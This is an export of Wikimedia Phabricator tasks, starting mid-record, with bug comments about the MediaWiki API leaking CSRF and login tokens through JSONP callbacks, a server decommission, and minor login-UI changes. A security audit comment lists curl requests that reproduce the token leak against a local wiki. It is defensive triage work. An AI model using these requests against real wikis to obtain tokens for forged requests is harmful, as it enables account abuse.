+If we want to fix 38417 for REL1_19/REL1_20, then we'll probably need a patch that either checks for the callback param, or moves the gettoken handling after the permission checks. Either way is a pretty simple patch. But yes, we should remove the code altogether for 1.22 I think.",,,1370314989,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,0,0,1,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,1,0,0,1,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+233336,Login API doesn't prevent getting csrf tokens via jsonp,"I'm planning to look at this tomorrow morning. Current thoughts are that the block and unblock 'gettoken' parameters have been deprecated since 1.20, so they are ripe for removal. The others will get a check similar to that currently used for prop=info.
+
+I also grepped through the WMF-deployed extensions. They all seem to use the generic edit token from action=tokens or prop=info, or use the hook to add to action=tokens, so that part of it looks ok.
+
+I also note that ApiQueryDeletedrevs could give a token, but since anons don't typically have 'deletedhistory' it's not likely to actually be gettable via jsonp.",,,1370312827,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,1,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+233331,Login API doesn't prevent getting csrf tokens via jsonp,"I audited the api modules in core, and a few others will give back login or anonymous edit tokens too. These need to be fixed before we can effectively fix bug 38417.
+
+
+* ApiTokens
+** curl -i 'http://localhost/wiki/api.php?action=tokens&type=edit&format=json&callback=foo'
+
+* ApiUnblock
+** curl -i --data 'action=unblock&user=User1&gettoken=true&format=json&callback=bar' 'http://localhost/wiki/api.php'
+
+* ApiLogin.php
+** curl -i --data 'action=login&format=json&lgname=foo&callback=bar' 'http://localhost/wiki/api.php'
+
+* ApiCreateAccount.php
+** curl -i --data 'action=createaccount&format=json&name=foo&callback=bar' 'http://localhost/wiki/api.php'
+
+* ApiBlock.php
+** curl -i --data 'action=block&user=User1&gettoken=true&format=json&callback=bar' 'http://localhost/wiki/api.php'",,,1370311281,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-qv64dair2jqdys2jum57,task_subcomment,,True,c2,1,True,,,-13,True,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+83211,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%gurvin 1H IN A 208.80.152.20%%%
+%%%gurvin is a Wikimedia ISSLPv6 Proxy (ipv6proxy).%%%
+%%%gurvin is a Wikimedia SSL Proxy (sslproxy).%%%
+%%%Linux gurvin 2.6.32-47-server #109-Ubuntu SMP Tue May 7 02:17:05 UTC 2013%%%
+%%%x86_64 GNU/Linux%%%
+%%%Ubuntu 10.04.4 LTS%%%
+%%%this is Tampa, needs to go%%%
+
+
+**Referred To By:**
+{T83156}
+{T83191}
+{T84665}",Medium,50.0,1383172806,1418860800.0,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,False,PHID-TASK-upbofy2q7ravb6knoab6,task_description,resolved,True,c2,3,True,False,False,9,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+378208,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #8774 added by dzahn,,,1414606791,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,61,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+378200,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'open' to 'resolved' by dzahn//,,,1384553061,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+378190,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%On Fri Nov 15 08:24:46 2013, ariel wrote:%%%
+> It was left with salt key, storedconfigs and puppet cert. I removed those.
+%%%thanks Ariel, i meant to say exactly that on IRC but you already did.%%%",,,1384553047,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+378182,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'resolved' to 'open' by RT_System//,,,1384503887,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+378174,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%It was left with salt key, storedconfigs and puppet cert. I removed those.%%%",,,1384503886,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+378165,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'open' to 'resolved' by dzahn//,,,1384477111,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+378156,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%host is powered down and removed from repos. next steps are wiping etc in%%%
+%%%linked child ticket in pmtpa queue. resolving this.%%%",,,1384477111,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,1
+378146,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Member ticket #6311 added by dzahn//,,,1384477053,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+378131,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%16:33 < mutante> !log schedule 1yr downtime for unused host 'gurvin' and all%%%
+%%%its services (RT #6135) and shutting it down%%%
+%%%scheduled downtime for it in Icinga, so no notifications, then powered it%%%
+%%%down..and removed from puppet:%%%
+%%%https://gerrit.wikimedia.org/r/#/c/94449/%%%
+%%%then DNS ,, merged by Chris:%%%
+%%%https://gerrit.wikimedia.org/r/#/c/94448/%%%",,,1384476186,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,11,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+378120,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%On Fri Nov 01 09:47:06 2013, faidon wrote:%%%
+> I think this is some leftover test box that was never given
+> back/reclaimed :( Certainly not used anymore, please apply the
+> lifecycle decom process.
+%%%Chris, can you see if gurvin and yvon have been a couple (installed together)?%%%
+%%%I think if gurvin can go yvon can go as well (linked ticket) since per site.pp%%%
+%%%they both just had the wmf_ca cert left (besides base,ganglia,ntp)%%%",,,1383959225,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,10,True,1,0,0,1,1,0,1,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,0,0,0,1
+378107,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #6156 added by dzahn,,,1383957052,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+378097,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%Chris, this one should be ready to go. see Faidon's comment above.%%%
+%%%here are the changes after it's down:%%%
+%%%https://gerrit.wikimedia.org/r/#/c/94448/1%%%
+%%%https://gerrit.wikimedia.org/r/#/c/94449/1%%%",,,1383955825,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+378086,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Given to cmjohnson by dzahn//,,,1383955246,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,10,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+378076,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",//Status changed from 'new' to 'open' by RT_System//,,,1383299227,,PHID-USER-j3rt67f2xk5rpkgcegnj,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+378065,"shutdown/migrate gurvin (ipv6proxy,sslproxy)","%%%I think this is some leftover test box that was never given back/reclaimed :( Certainly not used anymore, please apply the lifecycle decom process.%%%",,,1383299226,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,9,True,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+378053,"shutdown/migrate gurvin (ipv6proxy,sslproxy)",Reference by ticket #6099 added by dzahn,,,1383172815,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-upbofy2q7ravb6knoab6,task_subcomment,,True,c2,3,True,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+82877,Move login.wikimedia.org to its own IP address,"%%%login.wikimedia.org should be moved to its own IP address, so that if content%%%
+%%%appears on some other wikimedia-lb site (such as meta.wikimedia.org) which is%%%
+%%%offensive to government censors, only wikimedia-lb will be blocked, and login%%%
+%%%to unrelated projects will continue to be possible.%%%
+%%%Also, given the continued failure to implement IPSec (RT #3536), the%%%
+%%%login.wikimedia.org IP address should not be geographical, rather it should%%%
+%%%point directly to the active backend datacentre.%%%
+",Medium,50.0,1377214529,1461852607.0,PHID-USER-k6tmz5ylx4rzfl3bitse,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-dk7fdvilkchfhcyeoh3g,task_description,declined,True,c2,2,False,False,False,-1,True,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,1
+653494,Move login.wikimedia.org to its own IP address,"Everything related to what this ticket is about has changed since it was written, and there was never any movement on it anyways.  If someone still thinks there's a reason to do this (and I don't think there is now), we should re-state the case in the modern context (where HTTPS is used for all, all the projects use the same IPs anyways, and we do have IPSec for inter-dc cache traffic, etc).",,,1461852607,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-dk7fdvilkchfhcyeoh3g,task_subcomment,,True,c2,3,True,,,139,True,1,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,1
+375432,Move login.wikimedia.org to its own IP address,//AdminCc jeremyb added by jeremyb//,,,1377477806,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-dk7fdvilkchfhcyeoh3g,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+58235,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","User signup during wikimedia installation -> Field is 'Real Name'
+
+While installing medaiawiki 1.21.2, in the sign up Page, The Feild 'Real Name' value is taken up by the Mediawiki server as 'username' and is used to login after the installation.
+
+The feild 'Real Name' should be changed to 'username' during installation step.e
+
+--------------------------
+**Version**: 1.21.x
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=56551
+
+**Attached**: {F11933}",Medium,50.0,1382960160,1383309235.0,PHID-USER-b3xlpjqyzhcppjoumu63,False,,False,PHID-TASK-hxora4fgzw5eiu5i4e32,task_description,resolved,True,c2,3,False,False,True,8,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,1,0,0,1
+256199,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92681 merged by jenkins-bot:
+Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page
+
+https://gerrit.wikimedia.org/r/92681",,,1383302481,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0
+256190,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92682 abandoned by Bartosz Dziewoński:
+Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page
+
+Reason:
+https://gerrit.wikimedia.org/r/#/c/92681/
+
+https://gerrit.wikimedia.org/r/92682",,,1383160387,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+256183,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92682 had a related patch set uploaded by Gerrit Patch Uploader:
+Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page
+
+https://gerrit.wikimedia.org/r/92682",,,1383160261,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+256175,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Change 92681 had a related patch set uploaded by Gerrit Patch Uploader:
+Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page
+
+https://gerrit.wikimedia.org/r/92681",,,1383160257,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+256169,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Created attachment 13631
+Renamed ""Your name"" to ""Your username"" to match with the Media wiki login page
+
+Added Pach, changed 'Your name' to 'Your username'
+
+**Attached**: {F11935}",,,1383159649,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+256160,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","If you would like to create a patch to fix the problem, please read https://www.mediawiki.org/wiki/Developer_access and https://www.mediawiki.org/wiki/Gerrit/Tutorial",,,1382982883,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,True,,,8,True,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+256151,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","(In reply to comment #2)
+> (In reply to comment #0)
+> > Created attachment 13598 [details]
+> > User signup during wikimedia installation -> Field is 'Real Name'
+> 
+> Field is ""Your name"" in that screenshot, not ""real name"". 
+> Or do I miss something?
+> 
+> The proposal in this report is basically to change ""Your name"" to ""Your
+> username""?
+
+Oh! missed it, anyway doesn't make much difference. Its ""Your name"" to ""Your username"" itself.
+
+**Attached**: {F11933}",,,1382974472,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,8,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,0,0,1,0,0,0,1
+256144,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","(In reply to comment #0)
+> Created attachment 13598 [details]
+> User signup during wikimedia installation -> Field is 'Real Name'
+
+Field is ""Your name"" in that screenshot, not ""real name"". 
+Or do I miss something?
+
+The proposal in this report is basically to change ""Your name"" to ""Your username""?
+
+**Attached**: {F11933}",,,1382973250,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,True,,,8,True,0,1,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1
+256139,"Installer should say ""Your username"" instead of ""Your Name"" to be consistent with MW login UI","Created attachment 13599
+During login, the field says 'username' which in effect is 'Real Name'
+
+The username is equivallent to the Real Name field in user registeration, which is confusing to the user.
+
+**Attached**: {F11934}",,,1382960276,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-hxora4fgzw5eiu5i4e32,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0
+58023,Accessing Special:UserLogin while logged in should have different appearance,"On https://en.m.wikipedia.org/wiki/Special:UserLogin and https://en.wikipedia.org/wiki/Special:UserLogin
+
+When a user is logged in we should add a greeting above the login fields that says 
+
+""Hello, $username!"" to show the user they are already logged in.
+
+The [Sign in] in button should say [Switch Account] and create account should say ""log out""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1382483340,1386626810.0,PHID-USER-z3kqk2bjnqneldcznht6,True,,False,PHID-TASK-grze4l57o4qcistsnasi,task_description,resolved,True,c2,3,False,False,False,7,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+267602,Accessing Special:UserLogin while logged in should have different appearance,"
+
+*** This bug has been marked as a duplicate of bug 56359 ***",,,1386626810,,PHID-USER-5dwuaigmkz2vzg65lape,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+267595,Accessing Special:UserLogin while logged in should have different appearance,"**bingle-admin** wrote:
+
+Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1490",,,1386625833,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-grze4l57o4qcistsnasi,task_subcomment,,True,c2,3,False,,,14,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+267587,Accessing Special:UserLogin while logged in should have different appearance,"(In reply to comment #1)
+> For core: Since the fix for bug 53306 a message exists, which say: ""You are
+> already logged in as ***. Use the form below to log in as another user.""
+
+So is this a bug about MobileFrontend? This looks fixed in core (or at least what en.wiki is using).
+
+(In reply to comment #0)
